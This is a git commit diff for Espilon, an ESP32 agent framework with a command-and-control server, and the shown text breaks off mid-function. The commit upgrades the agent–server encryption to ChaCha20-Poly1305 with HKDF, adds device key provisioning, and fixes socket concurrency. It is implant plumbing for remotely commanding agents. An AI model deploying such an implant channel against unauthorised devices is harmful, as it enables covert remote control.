ε - ChaCha20-Poly1305 AEAD + HKDF crypto upgrade + C3PO rewrite + docs
Crypto: - Replace broken ChaCha20 (static nonce) with ChaCha20-Poly1305 AEAD - HKDF-SHA256 key derivation from per-device factory NVS master keys - Random 12-byte nonce per message (ESP32 hardware RNG) - crypto_init/encrypt/decrypt API with mbedtls legacy (ESP-IDF v5.3.2) - Custom partition table with factory NVS (fctry at 0x10000) Firmware: - crypto.c full rewrite, messages.c device_id prefix + AEAD encrypt - crypto_init() at boot with esp_restart() on failure - Fix command_t initializations across all modules (sub/help fields) - Clean CMakeLists dependencies for ESP-IDF v5.3.2 C3PO (C2): - Rename tools/c2 + tools/c3po -> tools/C3PO - Per-device CryptoContext with HKDF key derivation - KeyStore (keys.json) for master key management - Transport parses device_id:base64(...) wire format Tools: - New tools/provisioning/provision.py for factory NVS key generation - Updated flasher with mbedtls config for v5.3.2 Docs: - Update all READMEs for new crypto, C3PO paths, provisioning - Update roadmap, architecture diagrams, security sections - Update CONTRIBUTING.md project structure
This commit is contained in:
parent
3311626d58
commit
8b6c1cd53d
14
.gitignore
vendored
14
.gitignore
vendored
@ -30,18 +30,20 @@ ENV/
|
|||||||
.venv
|
.venv
|
||||||
|
|
||||||
# Tools - Python dependencies
|
# Tools - Python dependencies
|
||||||
tools/c2/__pycache__/
|
tools/C3PO/__pycache__/
|
||||||
tools/c3po/__pycache__/
|
|
||||||
tools/flasher/__pycache__/
|
tools/flasher/__pycache__/
|
||||||
*.pyc
|
*.pyc
|
||||||
|
|
||||||
# Configuration files with secrets
|
# Configuration files with secrets
|
||||||
tools/flasher/devices.json
|
tools/flasher/devices.json
|
||||||
tools/flasher/devices.*.json
|
tools/flasher/devices.*.json
|
||||||
tools/c2/config.json
|
tools/C3PO/config.json
|
||||||
tools/c3po/config.json
|
|
||||||
**/config.local.json
|
**/config.local.json
|
||||||
|
|
||||||
|
# C3PO runtime / secrets
|
||||||
|
tools/C3PO/keys.json
|
||||||
|
tools/C3PO/*.db
|
||||||
|
|
||||||
# Logs
|
# Logs
|
||||||
*.log
|
*.log
|
||||||
logs/
|
logs/
|
||||||
@ -49,8 +51,8 @@ espilon_bot/logs/
|
|||||||
sdkconfig
|
sdkconfig
|
||||||
|
|
||||||
# C2 Runtime files (camera streams, recordings)
|
# C2 Runtime files (camera streams, recordings)
|
||||||
tools/c2/static/streams/*.jpg
|
tools/C3PO/static/streams/*.jpg
|
||||||
tools/c2/static/recordings/*.avi
|
tools/C3PO/static/recordings/*.avi
|
||||||
*.avi
|
*.avi
|
||||||
|
|
||||||
# IDE and Editor
|
# IDE and Editor
|
||||||
|
|||||||
@ -415,7 +415,7 @@ idf.py monitor
|
|||||||
**For C2 changes**:
|
**For C2 changes**:
|
||||||
```bash
|
```bash
|
||||||
cd tools/c2
|
cd tools/c2
|
||||||
python3 c3po.py --port 2626
|
python3 c3po.py
|
||||||
# Test with connected ESP32
|
# Test with connected ESP32
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -596,8 +596,9 @@ epsilon/
|
|||||||
│ │ └── mod_recon/ # Recon module
|
│ │ └── mod_recon/ # Recon module
|
||||||
│ └── main/ # Main application
|
│ └── main/ # Main application
|
||||||
├── tools/ # Supporting tools
|
├── tools/ # Supporting tools
|
||||||
│ ├── c2/ # C2 server (Python)
|
│ ├── C3PO/ # C2 server (Python)
|
||||||
│ ├── flasher/ # Multi-flasher tool
|
│ ├── flasher/ # Multi-flasher tool
|
||||||
|
│ ├── provisioning/ # Device key provisioning
|
||||||
│ └── nan/ # NanoPB tools
|
│ └── nan/ # NanoPB tools
|
||||||
├── docs/ # Documentation
|
├── docs/ # Documentation
|
||||||
│ ├── INSTALL.md
|
│ ├── INSTALL.md
|
||||||
|
|||||||
49
README.fr.md
49
README.fr.md
@ -138,7 +138,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
|
|||||||
│ ESP32 Agent │
|
│ ESP32 Agent │
|
||||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
|
||||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||||
│ ↓ ↓ ↓ │
|
│ ↓ ↓ ↓ │
|
||||||
│ ┌───────────────────────────────────────────────┐ │
|
│ ┌───────────────────────────────────────────────┐ │
|
||||||
@ -157,7 +157,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
|
|||||||
|
|
||||||
### Composants Clés
|
### Composants Clés
|
||||||
|
|
||||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
|
||||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||||
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
||||||
@ -259,8 +259,6 @@ python3 flash.py --config devices.json
|
|||||||
"module_fakeap": false,
|
"module_fakeap": false,
|
||||||
"recon_camera": false,
|
"recon_camera": false,
|
||||||
"recon_ble_trilat": false,
|
"recon_ble_trilat": false,
|
||||||
"crypto_key": "testde32chars00000000000000000000",
|
|
||||||
"crypto_nonce": "noncenonceno"
|
|
||||||
},
|
},
|
||||||
|
|
||||||
## GPRS AGENT ##
|
## GPRS AGENT ##
|
||||||
@ -282,22 +280,30 @@ python3 flash.py --config devices.json
|
|||||||
|
|
||||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||||
|
|
||||||
|
### Provisioning des Devices
|
||||||
|
|
||||||
|
Chaque device nécessite une master key unique flashée dans sa partition factory NVS :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd tools/provisioning
|
||||||
|
python3 provision.py --device-id mon-device --port /dev/ttyUSB0
|
||||||
|
```
|
||||||
|
|
||||||
|
Génère une clé aléatoire de 32 bytes, l'écrit en factory NVS, et la sauvegarde dans le keystore C2 (`keys.json`).
|
||||||
|
|
||||||
|
Voir [tools/provisioning/](tools/provisioning/) pour les détails.
|
||||||
|
|
||||||
### C2 Server (C3PO)
|
### C2 Server (C3PO)
|
||||||
|
|
||||||
Serveur de Command & Control :
|
Serveur de Command & Control :
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd tools/c2
|
cd tools/C3PO
|
||||||
pip3 install -r requirements.txt
|
pip3 install -r requirements.txt
|
||||||
python3 c3po.py --port 2626
|
python3 c3po.py
|
||||||
```
|
```
|
||||||
|
|
||||||
**Commandes** :
|
Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||||
|
|
||||||
- `list` : Lister les agents connectés
|
|
||||||
- `select <id>` : Sélectionner un agent
|
|
||||||
- `cmd <command>` : Exécuter une commande
|
|
||||||
- `group` : Gérer les groupes d'agents
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -305,17 +311,13 @@ python3 c3po.py --port 2626
|
|||||||
|
|
||||||
### Chiffrement
|
### Chiffrement
|
||||||
|
|
||||||
- **ChaCha20** pour les communications C2
|
- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
|
||||||
- **Clés configurables** via menuconfig
|
- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
|
||||||
|
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
|
||||||
|
- **Master keys per-device** stockées en partition factory NVS (read-only)
|
||||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||||
|
|
||||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
Provisionner chaque device avec une master key unique via `tools/provisioning/provision.py`. Les clés ne sont jamais hardcodées dans le firmware.
|
||||||
|
|
||||||
```bash
|
|
||||||
# Générer des clés aléatoires
|
|
||||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
|
||||||
openssl rand -hex 12 # Nonce (12 bytes)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Usage Responsable
|
### Usage Responsable
|
||||||
|
|
||||||
@ -356,9 +358,10 @@ Espilon doit être utilisé uniquement pour :
|
|||||||
|
|
||||||
### V2.0 (En cours)
|
### V2.0 (En cours)
|
||||||
|
|
||||||
|
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
|
||||||
|
- [x] Provisioning per-device factory NVS
|
||||||
|
- [x] Réécriture C3PO avec crypto per-device
|
||||||
- [ ] Mesh networking (BLE/WiFi)
|
- [ ] Mesh networking (BLE/WiFi)
|
||||||
- [ ] Implémenter Module reccoon dans C3PO
|
|
||||||
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
|
||||||
- [ ] OTA updates
|
- [ ] OTA updates
|
||||||
- [ ] Multilatération collaborative
|
- [ ] Multilatération collaborative
|
||||||
- [ ] Optimisation mémoire
|
- [ ] Optimisation mémoire
|
||||||
|
|||||||
46
README.md
46
README.md
@ -138,7 +138,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
|
|||||||
| ESP32 Agent |
|
| ESP32 Agent |
|
||||||
| +-----------+ +----------+ +---------------------+ |
|
| +-----------+ +----------+ +---------------------+ |
|
||||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||||
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
|
||||||
| +-----------+ +----------+ +---------------------+ |
|
| +-----------+ +----------+ +---------------------+ |
|
||||||
| | | | |
|
| | | | |
|
||||||
| +-----------------------------------------------------+|
|
| +-----------------------------------------------------+|
|
||||||
@ -157,7 +157,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
|
|||||||
|
|
||||||
### Key Components
|
### Key Components
|
||||||
|
|
||||||
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
|
||||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||||
- **Flasher**: Automated multi-device flashing tool
|
- **Flasher**: Automated multi-device flashing tool
|
||||||
@ -257,22 +257,30 @@ python3 flash.py --config devices.json
|
|||||||
|
|
||||||
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
||||||
|
|
||||||
|
### Device Provisioning
|
||||||
|
|
||||||
|
Each device needs a unique master key flashed into its factory NVS partition before first use:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd tools/provisioning
|
||||||
|
python3 provision.py --device-id my-device --port /dev/ttyUSB0
|
||||||
|
```
|
||||||
|
|
||||||
|
This generates a 32-byte random master key, writes it to the factory NVS partition, and saves it to the C2 keystore (`keys.json`).
|
||||||
|
|
||||||
|
See [tools/provisioning/](tools/provisioning/) for details.
|
||||||
|
|
||||||
### C2 Server (C3PO)
|
### C2 Server (C3PO)
|
||||||
|
|
||||||
Command & Control server:
|
Command & Control server:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd tools/c2
|
cd tools/C3PO
|
||||||
pip3 install -r requirements.txt
|
pip3 install -r requirements.txt
|
||||||
python3 c3po.py --port 2626
|
python3 c3po.py
|
||||||
```
|
```
|
||||||
|
|
||||||
**Commands**:
|
Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||||
|
|
||||||
- `list`: List connected agents
|
|
||||||
- `select <id>`: Select an agent
|
|
||||||
- `cmd <command>`: Execute a command
|
|
||||||
- `group`: Manage agent groups
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -280,17 +288,13 @@ python3 c3po.py --port 2626
|
|||||||
|
|
||||||
### Encryption
|
### Encryption
|
||||||
|
|
||||||
- **ChaCha20** for C2 communications
|
- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
|
||||||
- **Configurable keys** via menuconfig
|
- **HKDF-SHA256** key derivation (per-device master key + device ID salt)
|
||||||
|
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
|
||||||
|
- **Per-device master keys** stored in factory NVS partition (read-only)
|
||||||
- **Protocol Buffers (nanoPB)** for serialization
|
- **Protocol Buffers (nanoPB)** for serialization
|
||||||
|
|
||||||
**CHANGE DEFAULT KEYS** for production use:
|
Provision each device with a unique master key using `tools/provisioning/provision.py`. Keys are never hardcoded in firmware.
|
||||||
|
|
||||||
```bash
|
|
||||||
# Generate random keys
|
|
||||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
|
||||||
openssl rand -hex 12 # Nonce (12 bytes)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Responsible Use
|
### Responsible Use
|
||||||
|
|
||||||
@ -331,8 +335,10 @@ Espilon should only be used for:
|
|||||||
|
|
||||||
### V2.0 (In Progress)
|
### V2.0 (In Progress)
|
||||||
|
|
||||||
|
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
|
||||||
|
- [x] Per-device factory NVS key provisioning
|
||||||
|
- [x] C3PO C2 rewrite with per-device crypto
|
||||||
- [ ] Mesh networking (BLE/WiFi)
|
- [ ] Mesh networking (BLE/WiFi)
|
||||||
- [ ] Improve documentation
|
|
||||||
- [ ] OTA updates
|
- [ ] OTA updates
|
||||||
- [ ] Collaborative multilateration
|
- [ ] Collaborative multilateration
|
||||||
- [ ] Memory optimization
|
- [ ] Memory optimization
|
||||||
|
|||||||
@ -28,6 +28,8 @@ typedef esp_err_t (*command_handler_t)(
|
|||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
typedef struct {
|
typedef struct {
|
||||||
const char *name; /* command name */
|
const char *name; /* command name */
|
||||||
|
const char *sub; /* subcommand name (optional) */
|
||||||
|
const char *help; /* help text (optional) */
|
||||||
int min_args;
|
int min_args;
|
||||||
int max_args;
|
int max_args;
|
||||||
command_handler_t handler; /* handler */
|
command_handler_t handler; /* handler */
|
||||||
|
|||||||
@ -30,6 +30,13 @@ static void async_worker(void *arg)
|
|||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||||
|
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
|
||||||
|
* xQueueReceive copies the struct by value, so the old
|
||||||
|
* pointers (set at enqueue time) are now dangling. */
|
||||||
|
for (int i = 0; i < job.argc; i++) {
|
||||||
|
job.argv_ptrs[i] = job.argv[i];
|
||||||
|
}
|
||||||
|
|
||||||
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
|
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
|
||||||
|
|
||||||
job.cmd->handler(
|
job.cmd->handler(
|
||||||
|
|||||||
@ -1,11 +1,11 @@
|
|||||||
set(PRIV_REQUIRES_LIST
|
set(PRIV_REQUIRES_LIST
|
||||||
mbedtls
|
mbedtls
|
||||||
lwip
|
nvs_flash
|
||||||
mod_network
|
lwip
|
||||||
|
mod_network
|
||||||
mod_fakeAP
|
mod_fakeAP
|
||||||
mod_recon
|
mod_recon
|
||||||
esp_timer
|
esp_timer
|
||||||
esp_driver_uart
|
|
||||||
driver
|
driver
|
||||||
command
|
command
|
||||||
)
|
)
|
||||||
|
|||||||
@ -16,9 +16,11 @@
|
|||||||
#include "c2.pb.h"
|
#include "c2.pb.h"
|
||||||
#include "pb_decode.h"
|
#include "pb_decode.h"
|
||||||
|
|
||||||
|
#include "freertos/semphr.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
int sock = -1;
|
int sock = -1;
|
||||||
|
SemaphoreHandle_t sock_mutex = NULL;
|
||||||
|
|
||||||
#ifdef CONFIG_NETWORK_WIFI
|
#ifdef CONFIG_NETWORK_WIFI
|
||||||
static const char *TAG = "CORE_WIFI";
|
static const char *TAG = "CORE_WIFI";
|
||||||
@ -63,8 +65,8 @@ static bool tcp_connect(void)
|
|||||||
{
|
{
|
||||||
struct sockaddr_in server_addr = {0};
|
struct sockaddr_in server_addr = {0};
|
||||||
|
|
||||||
sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||||
if (sock < 0) {
|
if (new_sock < 0) {
|
||||||
ESP_LOGE(TAG, "socket() failed");
|
ESP_LOGE(TAG, "socket() failed");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@ -73,15 +75,18 @@ static bool tcp_connect(void)
|
|||||||
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||||
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||||
|
|
||||||
if (lwip_connect(sock,
|
if (lwip_connect(new_sock,
|
||||||
(struct sockaddr *)&server_addr,
|
(struct sockaddr *)&server_addr,
|
||||||
sizeof(server_addr)) != 0) {
|
sizeof(server_addr)) != 0) {
|
||||||
ESP_LOGE(TAG, "connect() failed");
|
ESP_LOGE(TAG, "connect() failed");
|
||||||
lwip_close(sock);
|
lwip_close(new_sock);
|
||||||
sock = -1;
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||||
|
sock = new_sock;
|
||||||
|
xSemaphoreGive(sock_mutex);
|
||||||
|
|
||||||
ESP_LOGI(TAG, "Connected to %s:%d",
|
ESP_LOGI(TAG, "Connected to %s:%d",
|
||||||
CONFIG_SERVER_IP,
|
CONFIG_SERVER_IP,
|
||||||
CONFIG_SERVER_PORT);
|
CONFIG_SERVER_PORT);
|
||||||
@ -94,10 +99,13 @@ static bool tcp_connect(void)
|
|||||||
* ========================================================= */
|
* ========================================================= */
|
||||||
static void handle_frame(const uint8_t *buf, size_t len)
|
static void handle_frame(const uint8_t *buf, size_t len)
|
||||||
{
|
{
|
||||||
char tmp[len + 1];
|
if (len == 0 || len >= RX_BUF_SIZE) {
|
||||||
memcpy(tmp, buf, len);
|
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
|
||||||
tmp[len] = '\0';
|
return;
|
||||||
c2_decode_and_exec(tmp);
|
}
|
||||||
|
/* buf is already null-terminated by strtok in tcp_rx_loop,
|
||||||
|
and c2_decode_and_exec makes its own 1024-byte copy. */
|
||||||
|
c2_decode_and_exec((const char *)buf);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@ -108,11 +116,19 @@ static void tcp_rx_loop(void)
|
|||||||
{
|
{
|
||||||
static uint8_t rx_buf[RX_BUF_SIZE];
|
static uint8_t rx_buf[RX_BUF_SIZE];
|
||||||
|
|
||||||
int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||||
|
int current_sock = sock;
|
||||||
|
xSemaphoreGive(sock_mutex);
|
||||||
|
|
||||||
|
if (current_sock < 0) return;
|
||||||
|
|
||||||
|
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||||
if (len <= 0) {
|
if (len <= 0) {
|
||||||
ESP_LOGW(TAG, "RX failed / disconnected");
|
ESP_LOGW(TAG, "RX failed / disconnected");
|
||||||
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||||
lwip_close(sock);
|
lwip_close(sock);
|
||||||
sock = -1;
|
sock = -1;
|
||||||
|
xSemaphoreGive(sock_mutex);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -131,6 +147,9 @@ static void tcp_rx_loop(void)
|
|||||||
* ========================================================= */
|
* ========================================================= */
|
||||||
void tcp_client_task(void *pvParameters)
|
void tcp_client_task(void *pvParameters)
|
||||||
{
|
{
|
||||||
|
if (!sock_mutex)
|
||||||
|
sock_mutex = xSemaphoreCreateMutex();
|
||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
|
|
||||||
if (!tcp_connect()) {
|
if (!tcp_connect()) {
|
||||||
|
|||||||
@ -17,7 +17,7 @@ bool com_init(void)
|
|||||||
xTaskCreatePinnedToCore(
|
xTaskCreatePinnedToCore(
|
||||||
tcp_client_task,
|
tcp_client_task,
|
||||||
"tcp_client_task",
|
"tcp_client_task",
|
||||||
8192,
|
12288,
|
||||||
NULL,
|
NULL,
|
||||||
1,
|
1,
|
||||||
NULL,
|
NULL,
|
||||||
|
|||||||
@ -1,12 +1,18 @@
|
|||||||
// crypto.c
|
// crypto.c – ChaCha20-Poly1305 AEAD with HKDF key derivation
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
#include "esp_log.h"
|
#include "esp_log.h"
|
||||||
|
#include "esp_random.h"
|
||||||
|
#include "nvs_flash.h"
|
||||||
|
#include "nvs.h"
|
||||||
|
|
||||||
#include "mbedtls/chacha20.h"
|
#include "mbedtls/chachapoly.h"
|
||||||
|
#include "mbedtls/hkdf.h"
|
||||||
|
#include "mbedtls/md.h"
|
||||||
#include "mbedtls/base64.h"
|
#include "mbedtls/base64.h"
|
||||||
|
#include "mbedtls/platform_util.h"
|
||||||
|
|
||||||
#include "pb_decode.h"
|
#include "pb_decode.h"
|
||||||
#include "c2.pb.h"
|
#include "c2.pb.h"
|
||||||
@ -16,53 +22,186 @@
|
|||||||
|
|
||||||
static const char *TAG = "CRYPTO";
|
static const char *TAG = "CRYPTO";
|
||||||
|
|
||||||
/* ============================================================
|
#define NONCE_LEN 12
|
||||||
* Compile-time security checks
|
#define TAG_LEN 16
|
||||||
* ============================================================ */
|
#define KEY_LEN 32
|
||||||
_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32,
|
#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
|
||||||
"CONFIG_CRYPTO_KEY must be exactly 32 bytes");
|
|
||||||
_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12,
|
static uint8_t derived_key[KEY_LEN];
|
||||||
"CONFIG_CRYPTO_NONCE must be exactly 12 bytes");
|
static bool crypto_ready = false;
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* ChaCha20 encrypt/decrypt (same function)
|
* crypto_init – read master key from factory NVS, derive via HKDF
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len)
|
bool crypto_init(void)
|
||||||
{
|
{
|
||||||
if (!data || data_len == 0) {
|
esp_err_t err;
|
||||||
ESP_LOGE(TAG, "Invalid input to chacha_cd");
|
|
||||||
return NULL;
|
/* 1) Init the factory NVS partition */
|
||||||
|
err = nvs_flash_init_partition("fctry");
|
||||||
|
if (err != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
|
||||||
|
esp_err_to_name(err));
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
unsigned char *out = (unsigned char *)malloc(data_len);
|
/* 2) Open the crypto namespace (read-only) */
|
||||||
if (!out) {
|
nvs_handle_t handle;
|
||||||
ESP_LOGE(TAG, "malloc failed in chacha_cd");
|
err = nvs_open_from_partition(
|
||||||
return NULL;
|
"fctry",
|
||||||
|
CONFIG_CRYPTO_FCTRY_NS,
|
||||||
|
NVS_READONLY,
|
||||||
|
&handle
|
||||||
|
);
|
||||||
|
if (err != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
|
||||||
|
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
unsigned char key[32];
|
/* 3) Read the 32-byte master key blob */
|
||||||
unsigned char nonce[12];
|
uint8_t master_key[KEY_LEN];
|
||||||
uint32_t counter = 0;
|
size_t mk_len = sizeof(master_key);
|
||||||
|
|
||||||
memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key));
|
err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
|
||||||
memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce));
|
nvs_close(handle);
|
||||||
|
|
||||||
int ret = mbedtls_chacha20_crypt(
|
if (err != ESP_OK || mk_len != KEY_LEN) {
|
||||||
key,
|
ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
|
||||||
|
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
|
||||||
|
(unsigned)mk_len);
|
||||||
|
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 4) HKDF-SHA256: derive the encryption key */
|
||||||
|
const char *info = "espilon-c2-v1";
|
||||||
|
const char *salt = CONFIG_DEVICE_ID;
|
||||||
|
|
||||||
|
int ret = mbedtls_hkdf(
|
||||||
|
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
|
||||||
|
(const uint8_t *)salt, strlen(salt),
|
||||||
|
master_key, KEY_LEN,
|
||||||
|
(const uint8_t *)info, strlen(info),
|
||||||
|
derived_key, KEY_LEN
|
||||||
|
);
|
||||||
|
|
||||||
|
/* Wipe master key from RAM immediately */
|
||||||
|
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||||
|
|
||||||
|
if (ret != 0) {
|
||||||
|
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
crypto_ready = true;
|
||||||
|
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* crypto_encrypt – ChaCha20-Poly1305 AEAD
|
||||||
|
*
|
||||||
|
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
|
||||||
|
* Returns total output length, or -1 on error.
|
||||||
|
* ============================================================ */
|
||||||
|
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||||
|
uint8_t *out, size_t out_cap)
|
||||||
|
{
|
||||||
|
if (!crypto_ready) {
|
||||||
|
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!plain || plain_len == 0 || !out) {
|
||||||
|
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t needed = plain_len + OVERHEAD;
|
||||||
|
if (out_cap < needed) {
|
||||||
|
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
|
||||||
|
(unsigned)out_cap, (unsigned)needed);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Random nonce in the first 12 bytes */
|
||||||
|
esp_fill_random(out, NONCE_LEN);
|
||||||
|
|
||||||
|
mbedtls_chachapoly_context ctx;
|
||||||
|
mbedtls_chachapoly_init(&ctx);
|
||||||
|
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||||
|
|
||||||
|
int ret = mbedtls_chachapoly_encrypt_and_tag(
|
||||||
|
&ctx,
|
||||||
|
plain_len,
|
||||||
|
out, /* nonce */
|
||||||
|
NULL, 0, /* no AAD */
|
||||||
|
plain, /* input */
|
||||||
|
out + NONCE_LEN, /* output (ciphertext) */
|
||||||
|
out + NONCE_LEN + plain_len /* tag */
|
||||||
|
);
|
||||||
|
|
||||||
|
mbedtls_chachapoly_free(&ctx);
|
||||||
|
|
||||||
|
if (ret != 0) {
|
||||||
|
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return (int)needed;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* crypto_decrypt – ChaCha20-Poly1305 AEAD
|
||||||
|
*
|
||||||
|
* Input layout: nonce[12] || ciphertext[N] || tag[16]
|
||||||
|
* Returns plaintext length, or -1 on error / auth failure.
|
||||||
|
* ============================================================ */
|
||||||
|
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||||
|
uint8_t *out, size_t out_cap)
|
||||||
|
{
|
||||||
|
if (!crypto_ready) {
|
||||||
|
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!in || in_len < OVERHEAD || !out) {
|
||||||
|
